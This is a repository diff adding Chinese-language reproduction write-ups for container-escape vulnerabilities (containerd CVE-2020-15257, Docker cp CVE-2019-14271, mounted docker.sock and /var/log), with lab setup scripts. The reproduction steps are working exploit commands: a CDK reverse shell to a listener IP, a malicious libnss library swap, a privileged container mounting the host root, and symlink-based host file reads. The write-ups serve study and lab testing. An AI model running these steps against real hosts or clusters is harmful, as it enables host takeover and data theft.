update cloud native vulnerabilities
127
云安全漏洞/Containerd 漏洞导致容器逃逸 CVE-2020-15257.md
Normal file
@ -0,0 +1,127 @@
|
||||
# Containerd 漏洞导致容器逃逸 CVE-2020-15257
|
||||
|
||||
## 漏洞描述
|
||||
|
||||
Containerd 是一个控制 runC 的守护进程,提供命令行客户端和 API,用于在一个机器上管理容器。
|
||||
|
||||
在版本 1.3.9 之前和 1.4.0~1.4.2 的 Containerd 中,由于在网络模式为 host 的情况下,容器与宿主机共享一套 Network namespace ,此时 containerd-shim API 暴露给了用户,而且访问控制仅仅验证了连接进程的有效 UID 为 0,但没有限制对抽象 Unix 域套接字的访问,刚好在默认情况下,容器内部的进程是以 root 用户启动的。在两者的共同作用下,容器内部的进程就可以像主机中的 containerd 一样,连接 containerd-shim 监听的抽象 Unix 域套接字,调用 containerd-shim 提供的各种 API,从而实现容器逃逸。
|
||||
|
||||
参考链接:
|
||||
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2020-15257
|
||||
- https://xz.aliyun.com/t/8681
|
||||
- https://www.cdxy.me/?p=837
|
||||
- https://github.com/Metarget/metarget
|
||||
- https://github.com/cdk-team/CDK/issues/114
|
||||
|
||||
## 漏洞影响
|
||||
|
||||
```
|
||||
containerd < 1.4.3
|
||||
containerd < 1.3.9
|
||||
```
|
||||
|
||||
## 环境搭建
|
||||
|
||||
ubuntu 18.04 使用以下脚本 `install_containerd_1.2.6.sh` 安装 Docker 19.03.6 和 Containerd.io 1.2.6:
|
||||
|
||||
```shell
|
||||
#!/bin/bash
|
||||
set -e
|
||||
|
||||
echo "[*] Removing old Docker versions (if any)..."
|
||||
sudo apt remove -y docker docker-engine docker.io containerd runc || true
|
||||
|
||||
echo "[*] Unholding previously held Docker packages (if any)..."
|
||||
sudo apt-mark unhold docker-ce docker-ce-cli containerd.io || true
|
||||
|
||||
echo "[*] Removing incorrect Docker sources..."
|
||||
sudo rm -f /etc/apt/sources.list.d/docker.list || true
|
||||
sudo sed -i '/download.docker.com/d' /etc/apt/sources.list
|
||||
|
||||
echo "[*] Adding Tsinghua University Docker mirror GPG key..."
|
||||
wget -qO - https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/ubuntu/gpg | sudo apt-key add -
|
||||
|
||||
echo "[*] Adding Tsinghua University Docker mirror repository..."
|
||||
echo "deb [arch=amd64] https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/ubuntu bionic stable" \
|
||||
| sudo tee /etc/apt/sources.list.d/docker.list
|
||||
|
||||
echo "[*] Updating package index..."
|
||||
sudo apt update
|
||||
|
||||
echo "[*] Searching for Docker 19.03.6..."
|
||||
DOCKER_VERSION=$(apt-cache madison docker-ce | grep 19.03.6 | head -n1 | awk '{print $3}')
|
||||
if [ -z "$DOCKER_VERSION" ]; then
|
||||
echo "[!] Docker 19.03.6 not found in repository."
|
||||
exit 1
|
||||
fi
|
||||
echo "[*] Found Docker version: $DOCKER_VERSION"
|
||||
|
||||
echo "[*] Searching for containerd.io 1.2.6..."
|
||||
CONTAINERD_VERSION=$(apt-cache madison containerd.io | grep 1.2.6 | head -n1 | awk '{print $3}')
|
||||
if [ -z "$CONTAINERD_VERSION" ]; then
|
||||
echo "[!] containerd.io 1.2.6 not found in repository."
|
||||
exit 1
|
||||
fi
|
||||
echo "[*] Found containerd.io version: $CONTAINERD_VERSION"
|
||||
|
||||
echo "[*] Installing Docker version $DOCKER_VERSION and containerd.io $CONTAINERD_VERSION ..."
|
||||
sudo apt install -y docker-ce=$DOCKER_VERSION docker-ce-cli=$DOCKER_VERSION
|
||||
sudo apt install -y --allow-downgrades containerd.io=$CONTAINERD_VERSION
|
||||
|
||||
echo "[*] Locking versions to prevent automatic updates..."
|
||||
sudo apt-mark hold docker-ce docker-ce-cli containerd.io
|
||||
|
||||
echo "[*] Installation complete, current versions:"
|
||||
docker --version
|
||||
containerd --version
|
||||
```
|
||||
|
||||

|
||||
|
||||
## 漏洞复现
|
||||
|
||||
使用以下命令启动容器:
|
||||
|
||||
```shell
|
||||
sudo docker run -it --net=host --name=15257 ubuntu /bin/bash
|
||||
```
|
||||
|
||||
在容器内执行命令,查看是否可看到抽象命名空间 Unix 域套接字:
|
||||
|
||||
```shell
|
||||
root@ubuntu:/# cat /proc/net/unix|grep -a "containerd-shim"
|
||||
```
|
||||
|
||||

|
||||
|
||||
然后下载漏洞利用工具 [CDK](https://github.com/cdk-team/CDK),并将其传入容器 `/tmp` 目录下:
|
||||
|
||||
```shell
|
||||
sudo docker cp cdk_v0.1.6 15257:/tmp
|
||||
```
|
||||
|
||||
攻击端监听 9999 端口。在容器内运行工具,执行反弹 shell 命令,验证得到一个宿主机的 shell:
|
||||
|
||||
```shell
|
||||
sudo docker exec -it 15257 bash
|
||||
-----
|
||||
root@ubuntu:/# cd /tmp
|
||||
root@ubuntu:/tmp# ./cdk_v0.1.6 run shim-pwn 192.168.145.23 9999
|
||||
2025/05/26 07:27:19 tring to spawn shell to 192.168.145.23:9999
|
||||
2025/05/26 07:27:19 try socket: @/containerd-shim/moby/662ca282f95fb460dee996c9456dc333c16a556cc3a10f2417f5f6cb87610751/shim.sock
|
||||
```
|
||||
|
||||

|
||||
|
||||
成功接收反弹 shell:
|
||||
|
||||

|
||||
|
||||
> 注意,此处最好使用 [cdk v0.1.6](https://github.com/cdk-team/CDK/releases/tag/0.1.6),如果使用最新版,将触发异常 `connection refused`,可参考 [issues/114](https://github.com/cdk-team/CDK/issues/114):
|
||||
|
||||

|
||||
|
||||
## 漏洞修复
|
||||
|
||||
升级 `containerd` 至最新版本。
|
||||
@ -28,6 +28,9 @@ set -e
|
||||
echo "[*] Removing old Docker versions (if any)..."
|
||||
sudo apt remove -y docker docker-engine docker.io containerd runc || true
|
||||
|
||||
echo "[*] Unholding previously held Docker packages (if any)..."
|
||||
sudo apt-mark unhold docker-ce docker-ce-cli containerd.io || true
|
||||
|
||||
echo "[*] Removing incorrect Docker sources..."
|
||||
sudo rm -f /etc/apt/sources.list.d/docker.list || true
|
||||
sudo sed -i '/download.docker.com/d' /etc/apt/sources.list
|
||||
|
||||
125
云安全漏洞/Docker copy 漏洞导致容器逃逸 CVE-2019-14271.md
Normal file
@ -0,0 +1,125 @@
|
||||
# Docker copy 漏洞导致容器逃逸 CVE-2019-14271
|
||||
|
||||
## 漏洞描述
|
||||
|
||||
`docker cp` 命令允许从容器、向容器中、或容器之间复制文件。语法与标准的 unix cp 命令非常相似。要从容器中复制 `/var/logs`,语法是 `docker cp container_name:/var/logs /some/host/path`。
|
||||
|
||||
在复制的过程中 Docker 使用了一个名为 `docker-tar` 的帮助进程。`docker-tar` 是通过 chroot 到容器,将请求的文件或目录存档,然后将生成的 tar 文件传递给 Docker daemon,然后由 daemon 提取到主机的目标目录中。
|
||||
|
||||
有漏洞的 Docker 版本是用 Go v1.11 编译的。在该版本中,一些含有嵌入 C 代码(cgo)的包会在运行时动态加载共享的库。这些包包括 `net` 和 `os/user`,都是 docker-tar 使用的,而且在运行时会加载多个 `libnss_*.so` 库。一般来说,库是从 `host` 文件系统加载的,但因为 `docker-tar`chroot 到了容器,因此会从容器文件系统中加载库。也就是说 `docker-tar` 会加载和执行来源于容器或由容器控制的代码。因此,通过注入代码到 `docker-tar`,恶意容器就可以获取 host 主机的完全 root 访问权限。
|
||||
|
||||
可能的攻击场景有 Docker 用户从另一个 Docker 处复制文件:
|
||||
|
||||
- 容器运行含有恶意 `libnss_*.so` 库的镜像
|
||||
- 容器中含有被攻击者替换的 `libnss_*.so` 库
|
||||
|
||||
在这两种情况下,攻击者都可以获取主机上的 root 代码执行权限。
|
||||
|
||||
参考链接:
|
||||
|
||||
- https://xz.aliyun.com/t/6806
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2019-14271
|
||||
- https://unit42.paloaltonetworks.com/docker-patched-the-most-severe-copy-vulnerability-to-date-with-cve-2019-14271/
|
||||
- https://github.com/Metarget/metarget
|
||||
|
||||
## 漏洞影响
|
||||
|
||||
```
|
||||
v18.09.9<= Docker <v19.03.8
|
||||
```
|
||||
|
||||
## 环境搭建
|
||||
|
||||
ubuntu 18.04 使用以下脚本 `install_docker_19.03.0.sh` 安装 Docker 19.03.0:
|
||||
|
||||
```shell
|
||||
#!/bin/bash
|
||||
set -e
|
||||
echo "[*] Removing old Docker versions (if any)..."
|
||||
sudo apt remove -y docker docker-engine docker.io containerd runc || true
|
||||
|
||||
echo "[*] Unholding previously held Docker packages (if any)..."
|
||||
sudo apt-mark unhold docker-ce docker-ce-cli containerd.io || true
|
||||
|
||||
echo "[*] Removing incorrect Docker sources..."
|
||||
sudo rm -f /etc/apt/sources.list.d/docker.list || true
|
||||
sudo sed -i '/download.docker.com/d' /etc/apt/sources.list
|
||||
|
||||
echo "[*] Adding Tsinghua University Docker mirror GPG key..."
|
||||
wget -qO - https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/ubuntu/gpg | sudo apt-key add -
|
||||
|
||||
echo "[*] Adding Tsinghua University Docker mirror repository..."
|
||||
echo "deb [arch=amd64] https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/ubuntu bionic stable" \
|
||||
| sudo tee /etc/apt/sources.list.d/docker.list
|
||||
|
||||
echo "[*] Updating package index..."
|
||||
sudo apt update
|
||||
|
||||
echo "[*] Searching for Docker 19.03.0..."
|
||||
VERSION_STRING=$(apt-cache madison docker-ce | grep 19.03.0 | head -n1 | awk '{print $3}')
|
||||
if [ -z "$VERSION_STRING" ]; then
|
||||
echo "[*] Docker 19.03.0 not found"
|
||||
exit 1
|
||||
fi
|
||||
echo "[*] Found version: $VERSION_STRING"
|
||||
|
||||
echo "[*] Installing Docker version $VERSION_STRING ..."
|
||||
sudo apt install -y docker-ce=$VERSION_STRING docker-ce-cli=$VERSION_STRING containerd.io
|
||||
|
||||
echo "[*] Locking version to prevent automatic updates..."
|
||||
sudo apt-mark hold docker-ce docker-ce-cli containerd.io
|
||||
|
||||
echo "[*] Installation complete, current version:"
|
||||
docker --version
|
||||
```
|
||||
|
||||

|
||||
|
||||
## 漏洞复现
|
||||
|
||||
新建一个容器:
|
||||
|
||||
```shell
|
||||
sudo docker run -itd --name=14271 ubuntu bash
|
||||
```
|
||||
|
||||
将 [漏洞利用文件](https://github.com/Metarget/metarget/tree/master/writeups_cnv/docker-cve-2019-14271/exp) 拷贝至容器内:
|
||||
|
||||
```shell
|
||||
sudo docker cp ./metarget/writeups_cnv/docker-cve-2019-14271/exp/ 14271:/
|
||||
```
|
||||
|
||||
删除容器内原来的 .so 文件,替换为修改后的恶意 .so 文件:
|
||||
|
||||
```shell
|
||||
sudo docker exec -it 14271 bash
|
||||
root@7271b49ce3d1:/# ls /exp
|
||||
breakout libnss_files.so.2 original_libnss_files.so.2
|
||||
root@7271b49ce3d1:/# cp /exp/* /
|
||||
root@7271b49ce3d1:/# chmod 777 /breakout
|
||||
root@7271b49ce3d1:/# touch /logs
|
||||
root@7271b49ce3d1:/# rm /lib/x86_64-linux-gnu/libnss_files.so.2
|
||||
root@7271b49ce3d1:/# mv /libnss_files.so.2 /lib/x86_64-linux-gnu/
|
||||
root@7271b49ce3d1:/# exit
|
||||
exit
|
||||
```
|
||||
|
||||
替换后退出容器,在宿主机上执行 cp 命令完成逃逸:
|
||||
|
||||
```shell
|
||||
sudo docker cp 14271:/logs ./
|
||||
```
|
||||
|
||||
进入容器内部,可发现根目录下存在 `host_fs` 目录挂载了宿主机的文件系统,成功逃逸:
|
||||
|
||||
```shell
|
||||
sudo docker exec -it 14271 bash
|
||||
root@7271b49ce3d1:/# ls -al / | grep host_fs
|
||||
drwxr-xr-x 24 root root 4096 May 26 05:46 host_fs
|
||||
```
|
||||
|
||||

|
||||
|
||||
## 漏洞修复
|
||||
|
||||
- 升级至最新版本 https://docs.docker.com/engine/release-notes/
|
||||
@ -29,6 +29,9 @@ set -e
|
||||
echo "🔧 卸载旧版本 Docker(如果有)..."
|
||||
sudo apt remove -y docker docker-engine docker.io containerd runc || true
|
||||
|
||||
echo "🔓 解除版本锁定 (如果有)..."
|
||||
sudo apt-mark unhold docker-ce docker-ce-cli containerd.io || true
|
||||
|
||||
echo "🧹 删除错误的 Docker 源..."
|
||||
sudo rm -f /etc/apt/sources.list.d/docker.list || true
|
||||
sudo sed -i '/download.docker.com/d' /etc/apt/sources.list
|
||||
|
||||
@ -34,12 +34,6 @@ kubectl apply -f k8s_metarget_namespace.yaml
|
||||
kubectl apply -f privileged-container.yaml
|
||||
```
|
||||
|
||||
或直接通过 metarget 启动漏洞环境:
|
||||
|
||||
```
|
||||
./metarget cnv install privileged-container
|
||||
```
|
||||
|
||||
执行完成后,K8s 集群内 `metarget` 命名空间下将会创建一个名为 `privileged-container` 的包含特权容器的 pod:
|
||||
|
||||
```
|
||||
|
||||
@ -29,12 +29,6 @@ kubectl apply -f k8s_metarget_namespace.yaml
|
||||
kubectl apply -f k8s_node_proxy.yaml
|
||||
```
|
||||
|
||||
或直接通过 metarget 启动漏洞环境:
|
||||
|
||||
```
|
||||
./metarget cnv install k8s_node_proxy
|
||||
```
|
||||
|
||||
执行完成后,K8s 集群内 `metarget` 命名空间下将会创建一个名为 `k8s_node_proxy` 的 pod:
|
||||
|
||||
```
|
||||
|
||||
@ -32,12 +32,6 @@ kubectl apply -f k8s_metarget_namespace.yaml
|
||||
kubectl apply -f k8s_shadow_apiserver.yaml
|
||||
```
|
||||
|
||||
或直接通过 metarget 启动漏洞环境:
|
||||
|
||||
```shell
|
||||
./metarget cnv install k8s_shadow_apiserver
|
||||
```
|
||||
|
||||
执行完成后,K8s 集群内 `metarget` 命名空间下将会创建一个名为 `k8s-shadow-apiserver` 的 pod:
|
||||
|
||||
```
|
||||
|
||||
@ -32,12 +32,6 @@ kubectl apply -f k8s_metarget_namespace.yaml
|
||||
kubectl apply -f k8s_backdoor_cronjob.yaml
|
||||
```
|
||||
|
||||
或直接通过 metarget 启动漏洞环境:
|
||||
|
||||
```shell
|
||||
./metarget cnv install k8s_backdoor_cronjob
|
||||
```
|
||||
|
||||
执行完成后,K8s 集群内 `metarget` 命名空间下将会创建一个名为 `k8s-backdoor-cronjob` 的 pod:
|
||||
|
||||
```
|
||||
|
||||
@ -33,12 +33,6 @@ kubectl apply -f k8s_metarget_namespace.yaml
|
||||
kubectl apply -f k8s_backdoor_daemonset.yaml
|
||||
```
|
||||
|
||||
或直接通过 metarget 启动漏洞环境:
|
||||
|
||||
```shell
|
||||
./metarget cnv install k8s_backdoor_daemonset
|
||||
```
|
||||
|
||||
执行完成后,K8s 集群内 `metarget` 命名空间下将会创建一个名为 `k8s-backdoor-daemonset` 的 pod:
|
||||
|
||||
```
|
||||
@ -86,18 +80,28 @@ cdk-backdoor-daemonset 1 1 1 1 1 <n
|
||||
CDK 将宿主机根目录挂载到了 [/host-root](https://github.com/cdk-team/CDK/blob/main/test/k8s_exploit_util/backdoor_daemonset.yaml),此时我们已经获取了宿主机权限:
|
||||
|
||||
```
|
||||
kubectl exec -n kube-system -it cdk-backdoor-daemonset-4jx5r -- /bin/bash
|
||||
root@minikube:/# ls -al /tmp
|
||||
total 8
|
||||
drwxrwxrwt 1 root root 4096 Apr 22 02:11 .
|
||||
drwxr-xr-x 1 root root 4096 Apr 22 02:52 ..
|
||||
-rw-r--r-- 1 root root 0 Apr 22 02:11 awesome_poc
|
||||
root@minikube:/# chroot /host-root
|
||||
# cat /etc/hostname
|
||||
ubuntu
|
||||
kubectl get pods -n kube-system | grep cdk
|
||||
-----
|
||||
cdk-backdoor-daemonset-rvmp9 1/1 Running 0 7m12s
|
||||
```
|
||||
|
||||

|
||||

|
||||
|
||||
```
|
||||
kubectl exec -n kube-system -it cdk-backdoor-daemonset-rvmp9 -- /bin/bash
|
||||
root@minikube:/# ls -al /tmp
|
||||
total 8
|
||||
drwxrwxrwt 1 root root 4096 May 19 09:49 .
|
||||
drwxr-xr-x 1 root root 4096 May 19 09:49 ..
|
||||
-rw-r--r-- 1 root root 0 May 19 09:49 awesome_poc
|
||||
root@minikube:/# chroot /host-root
|
||||
# cat /etc/hostname
|
||||
minikube
|
||||
```
|
||||
|
||||

|
||||
|
||||
> 由于我们是在 minikube 上运行 kubernetes,这里逃逸到的是 minikube 虚拟机。
|
||||
|
||||
## 环境复原
|
||||
|
||||
|
||||
|
After Width: | Height: | Size: 88 KiB |
|
After Width: | Height: | Size: 111 KiB |
|
After Width: | Height: | Size: 85 KiB |
|
After Width: | Height: | Size: 65 KiB |
|
After Width: | Height: | Size: 110 KiB |
|
After Width: | Height: | Size: 34 KiB |
|
After Width: | Height: | Size: 49 KiB |
|
Before Width: | Height: | Size: 89 KiB |
|
After Width: | Height: | Size: 104 KiB |
|
After Width: | Height: | Size: 41 KiB |
BIN
云安全漏洞/images/挂载 docker.sock 导致容器逃逸/image-20250519172523152.png
Normal file
|
After Width: | Height: | Size: 46 KiB |
BIN
云安全漏洞/images/挂载 docker.sock 导致容器逃逸/image-20250519173026494.png
Normal file
|
After Width: | Height: | Size: 48 KiB |
BIN
云安全漏洞/images/挂载 docker.sock 导致容器逃逸/image-20250519173128232.png
Normal file
|
After Width: | Height: | Size: 343 KiB |
BIN
云安全漏洞/images/挂载 docker.sock 导致容器逃逸/image-20250519180629556.png
Normal file
|
After Width: | Height: | Size: 75 KiB |
BIN
云安全漏洞/images/挂载 log 目录导致容器逃逸/image-20250520141234815.png
Normal file
|
After Width: | Height: | Size: 46 KiB |
BIN
云安全漏洞/images/挂载 log 目录导致容器逃逸/image-20250520141902202.png
Normal file
|
After Width: | Height: | Size: 198 KiB |
BIN
云安全漏洞/images/挂载 log 目录导致容器逃逸/image-20250520151106730.png
Normal file
|
After Width: | Height: | Size: 65 KiB |
BIN
云安全漏洞/images/挂载 log 目录导致容器逃逸/image-20250520151148672.png
Normal file
|
After Width: | Height: | Size: 115 KiB |
BIN
云安全漏洞/images/挂载宿主机 procfs 系统导致容器逃逸/image-20250520093541464.png
Normal file
|
After Width: | Height: | Size: 48 KiB |
BIN
云安全漏洞/images/挂载宿主机 procfs 系统导致容器逃逸/image-20250520105127644.png
Normal file
|
After Width: | Height: | Size: 69 KiB |
BIN
云安全漏洞/images/挂载宿主机 procfs 系统导致容器逃逸/image-20250520113929303.png
Normal file
|
After Width: | Height: | Size: 228 KiB |
BIN
云安全漏洞/images/挂载宿主机 procfs 系统导致容器逃逸/image-20250520113952809.png
Normal file
|
After Width: | Height: | Size: 72 KiB |
136
云安全漏洞/挂载 docker.sock 导致容器逃逸.md
Normal file
@ -0,0 +1,136 @@
|
||||
# 挂载 docker.sock 导致容器逃逸
|
||||
|
||||
## 漏洞描述
|
||||
|
||||
Docker Socket 是 Docker 守护进程监听的 Unix 域套接字,用来与守护进程通信——查询信息或下发命令。如果在攻击者可控的容器内挂载了该套接字文件(/var/run/docker.sock),可通过 Docker Socket 与 Docker 守护进程通信,发送命令创建并运行一个新的容器,将宿主机的根目录挂载到新创建的容器内部,完成简单逃逸。
|
||||
|
||||
参考链接:
|
||||
|
||||
- https://mp.weixin.qq.com/s/_GwGS0cVRmuWEetwMesauQ
|
||||
|
||||
## 环境搭建
|
||||
|
||||
基础环境准备(Docker + Minikube + Kubernetes),可参考 [Kubernetes + Ubuntu 18.04 漏洞环境搭建](https://github.com/Threekiii/Awesome-POC/blob/master/%E4%BA%91%E5%AE%89%E5%85%A8%E6%BC%8F%E6%B4%9E/Kubernetes%20%2B%20Ubuntu%2018.04%20%E6%BC%8F%E6%B4%9E%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA.md) 完成。
|
||||
|
||||
本例中各组件版本如下:
|
||||
|
||||
```
|
||||
Docker version: 18.09.3
|
||||
minikube version: v1.35.0
|
||||
Kubectl Client Version: v1.32.3
|
||||
Kubectl Server Version: v1.32.0
|
||||
```
|
||||
|
||||
通过 yaml 文件创建漏洞环境:
|
||||
|
||||
```
|
||||
kubectl apply -f k8s_metarget_namespace.yaml
|
||||
kubectl apply -f mount-docker-sock.yaml
|
||||
```
|
||||
|
||||
执行完成后,K8s 集群内 `metarget` 命名空间下将会创建一个名为 `mount-docker-sock` 的 pod,宿主机的 `/var/run/docker.sock` 被挂载在容器内部:
|
||||
|
||||
```
|
||||
kubectl get pods -n metarget
|
||||
-----
|
||||
NAME READY STATUS RESTARTS AGE
|
||||
mount-docker-sock 1/1 Running 0 13s
|
||||
```
|
||||
|
||||

|
||||
|
||||
## 漏洞复现
|
||||
|
||||
通过以下两个步骤来完成简单逃逸:
|
||||
|
||||
1. 在容器内安装 Docker 命令行客户端
|
||||
2. 使用容器内的客户端通过 Docker socket 与 Docker 守护进程通信,发送命令创建并运行一个挂载宿主机根目录的容器,实现基本逃逸。
|
||||
|
||||
执行以下命令进入容器:
|
||||
|
||||
```shell
|
||||
kubectl exec -n metarget -it mount-docker-sock -- bash
|
||||
```
|
||||
|
||||
在容器内安装 Docker 命令行客户端:
|
||||
|
||||
```
|
||||
# 先将源替换为中科大源
|
||||
sed -i 's/archive.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list
|
||||
apt update && apt install -y wget
|
||||
|
||||
# 然后下载编译好的 docker 客户端
|
||||
wget https://download.docker.com/linux/static/stable/x86_64/docker-17.03.0-ce.tgz
|
||||
tar xf ./docker-17.03.0-ce.tgz
|
||||
```
|
||||
|
||||
成功安装 Docker 客户端:
|
||||
|
||||
```
|
||||
root@mount-docker-sock:/# cd docker
|
||||
root@mount-docker-sock:/docker# ls
|
||||
docker docker-containerd docker-containerd-ctr docker-containerd-shim docker-init docker-proxy docker-runc dockerd
|
||||
```
|
||||
|
||||

|
||||
|
||||
执行 docker 命令 `docker ps`,结果和宿主机相同,证实 docker.sock 挂载成功:
|
||||
|
||||
```
|
||||
root@mount-docker-sock:/docker# ./docker ps
|
||||
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
|
||||
abf602bae267 602eb6fb314b "/bin/bash -c -- '..." 8 minutes ago Up 8 minutes k8s_ubuntu_mount-docker-sock_metarget_75b4ad1b-0193-4008-b559-4dbd7d92cc3f_0
|
||||
b347f319bf8b registry.k8s.io/pause:3.10 "/pause" 8 minutes ago Up 8 minutes k8s_POD_mount-docker-sock_metarget_75b4ad1b-0193-4008-b559-4dbd7d92cc3f_0
|
||||
...
|
||||
```
|
||||
|
||||

|
||||
|
||||
启动一个挂载宿主机根目录的特权容器,完成简单逃逸:
|
||||
|
||||
```
|
||||
kubectl exec -n metarget -it mount-docker-sock -- bash
|
||||
root@mount-docker-sock:/# cd docker
|
||||
root@mount-docker-sock:/docker# ./docker run -it -v /:/host --privileged --name=sock-test ubuntu /bin/bash
|
||||
root@5b61ce1ed2ce:/# chroot /host
|
||||
# cat /etc/hostname
|
||||
minikube
|
||||
```
|
||||
|
||||

|
||||
|
||||
> 由于我们是在 minikube 上运行 kubernetes,这里逃逸到的是 minikube 虚拟机。
|
||||
|
||||
## 环境复原
|
||||
|
||||
```
|
||||
kubectl delete -f mount-docker-sock.yaml
|
||||
kubectl delete -f k8s_node_proxy.yaml
|
||||
```
|
||||
|
||||
## YAML
|
||||
|
||||
[mount-docker-sock.yaml](https://github.com/Metarget/metarget/blob/master/vulns_cn/mounts/pods/mount-docker-sock.yaml)
|
||||
|
||||
```
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
metadata:
|
||||
name: mount-docker-sock
|
||||
namespace: metarget
|
||||
spec:
|
||||
containers:
|
||||
- name: ubuntu
|
||||
image: ubuntu:latest
|
||||
imagePullPolicy: IfNotPresent
|
||||
# Just spin & wait forever
|
||||
command: [ "/bin/bash", "-c", "--" ]
|
||||
args: [ "while true; do sleep 30; done;" ]
|
||||
volumeMounts:
|
||||
- name: docker-sock
|
||||
mountPath: /var/run/docker.sock
|
||||
volumes:
|
||||
- name: docker-sock
|
||||
hostPath:
|
||||
path: /var/run/docker.sock
|
||||
```
|
||||
172
云安全漏洞/挂载 log 目录导致容器逃逸.md
Normal file
@ -0,0 +1,172 @@
|
||||
# 挂载 log 目录导致容器逃逸
|
||||
|
||||
## 漏洞描述
|
||||
|
||||
当 pod 以可写权限挂载了宿主机的 `/var/log` 目录,且 pod 里的 service account 有权限访问该 pod 在宿主机上的日志时,攻击者可以通过在容器内创建符号链接来完成简单逃逸。
|
||||
|
||||
下图展示了 `kubectl logs <pod-name>` 如何从 pod 中检索日志:
|
||||
|
||||

|
||||
|
||||
kubelet 会在宿主机上的 `/var/log` 目录中创建一个目录结构,如图符号①,代表节点上的 pod。但 `0.log` 实际上是一个符号链接,指向 `/var/lib/docker/containers` 目录中的容器日志文件。当使用 `kubectl logs <pod-name>` 命令查询指定 pod 的日志时,实际上是向 kubelet 的 `/logs/pods/<path_to_0.log>` 接口发起 HTTP 请求。对于该请求的处理逻辑如下:
|
||||
|
||||
`kubernetes\pkg\kubelet\kubelet.go:1371`
|
||||
|
||||
```go
|
||||
if kl.logServer == nil {
|
||||
kl.logServer = http.StripPrefix("/logs/", http.FileServer(http.Dir("/var/log/")))
|
||||
}
|
||||
```
|
||||
|
||||
kubelet 会解析该请求地址,去 `/var/log` 对应的目录下读取 log 文件并返回。当 pod 以可写权限挂载了宿主机上的 `/var/log` 目录时,可以在该路径下创建一个符号链接,指向宿主机的根目录,然后构造包含该符号链接的恶意 kubelet 请求,宿主机在解析时会解析该符号链接,导致可以读取宿主机任意文件和目录。
|
||||
|
||||
参考链接:
|
||||
|
||||
- https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts
|
||||
- https://github.com/danielsagi/kube-pod-escape
|
||||
|
||||
## 环境搭建
|
||||
|
||||
基础环境准备(Docker + Minikube + Kubernetes),可参考 [Kubernetes + Ubuntu 18.04 漏洞环境搭建](https://github.com/Threekiii/Awesome-POC/blob/master/%E4%BA%91%E5%AE%89%E5%85%A8%E6%BC%8F%E6%B4%9E/Kubernetes%20%2B%20Ubuntu%2018.04%20%E6%BC%8F%E6%B4%9E%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA.md) 完成。
|
||||
|
||||
本例中各组件版本如下:
|
||||
|
||||
```
|
||||
Docker version: 18.09.3
|
||||
minikube version: v1.35.0
|
||||
Kubectl Client Version: v1.32.3
|
||||
Kubectl Server Version: v1.32.0
|
||||
```
|
||||
|
||||
通过 yaml 文件创建漏洞环境:
|
||||
|
||||
```
|
||||
kubectl apply -f k8s_metarget_namespace.yaml
|
||||
kubectl apply -f mount-var-log.yaml
|
||||
```
|
||||
|
||||
执行完成后,K8s 集群内 `metarget` 命名空间下将会创建一个名为 `mount-var-log` 的 pod:
|
||||
|
||||
```
|
||||
kubectl get pods -n metarget
|
||||
-----
|
||||
NAME READY STATUS RESTARTS AGE
|
||||
mount-var-log 1/1 Running 0 28s
|
||||
```
|
||||
|
||||

|
||||
|
||||
宿主机的 `/var/log` 被挂载在容器内部且该 pod 有权限访问日志。
|
||||
|
||||
> 如果此处报错 `ErrImagePull`,可以采用如下形式将镜像直接导入 minikube:
|
||||
|
||||
```
|
||||
docker pull danielsagi/kube-pod-escape
|
||||
minikube image load danielsagi/kube-pod-escape:latest
|
||||
```
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
mount-var-log.yaml 中使用的是 [该项目](https://github.com/danielsagi/kube-pod-escape) 中的镜像 `danielsagi/kube-pod-escape`。构建好的 pod 内部已经内置了漏洞利用代码,可通过自定义命令读取宿主机的任意文件或目录:
|
||||
|
||||
```
|
||||
lsh 等于宿主机上的ls
|
||||
cath 等于宿主机上的cat
|
||||
```
|
||||
|
||||
执行以下命令进入容器:
|
||||
|
||||
```shell
|
||||
kubectl exec -it mount-var-log -n metarget -- bash
|
||||
```
|
||||
|
||||
执行命令:
|
||||
|
||||
```
|
||||
kubectl exec -it mount-var-log -n metarget -- bash
|
||||
root@mount-var-log:~/exploit# lsh /root
|
||||
.bashrc
|
||||
.kube/
|
||||
.profile
|
||||
.sudo_as_admin_successful
|
||||
cdk/
|
||||
```
|
||||
|
||||

|
||||
|
||||
> 由于我们是在 minikube 上运行 kubernetes,这里逃逸到的是 minikube 虚拟机,可以看到,pod 执行 `lsh /root` 后列出的目录确实是 minikube 虚拟机的 `/root` 目录。
|
||||
|
||||

|
||||
|
||||
## 环境复原
|
||||
|
||||
```
|
||||
kubectl delete -f mount-var-log.yaml
|
||||
kubectl delete -f k8s_metarget_namespace.yaml
|
||||
```
|
||||
|
||||
## YAML
|
||||
|
||||
[k8s_metarget_namespace.yaml](https://github.com/Metarget/metarget/blob/master/yamls/k8s_metarget_namespace.yaml)
|
||||
|
||||
```
|
||||
apiVersion: v1
|
||||
kind: Namespace
|
||||
metadata:
|
||||
name: metarget
|
||||
```
|
||||
|
||||
mount-var-log.yaml,修改自 [kube-pod-escape/escaper.yml](https://github.com/danielsagi/kube-pod-escape/blob/master/escaper.yml):
|
||||
|
||||
```
|
||||
apiVersion: v1
|
||||
kind: ServiceAccount
|
||||
metadata:
|
||||
name: logger
|
||||
namespace: metarget
|
||||
---
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
metadata:
|
||||
name: user-log-reader
|
||||
namespace: metarget
|
||||
rules:
|
||||
- apiGroups: [""]
|
||||
resources:
|
||||
- nodes/log
|
||||
verbs: ["get", "list", "watch"]
|
||||
---
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRoleBinding
|
||||
metadata:
|
||||
name: user-log-reader
|
||||
namespace: metarget
|
||||
roleRef:
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
kind: ClusterRole
|
||||
name: user-log-reader
|
||||
subjects:
|
||||
- kind: ServiceAccount
|
||||
name: logger
|
||||
namespace: metarget
|
||||
---
|
||||
apiVersion: v1
|
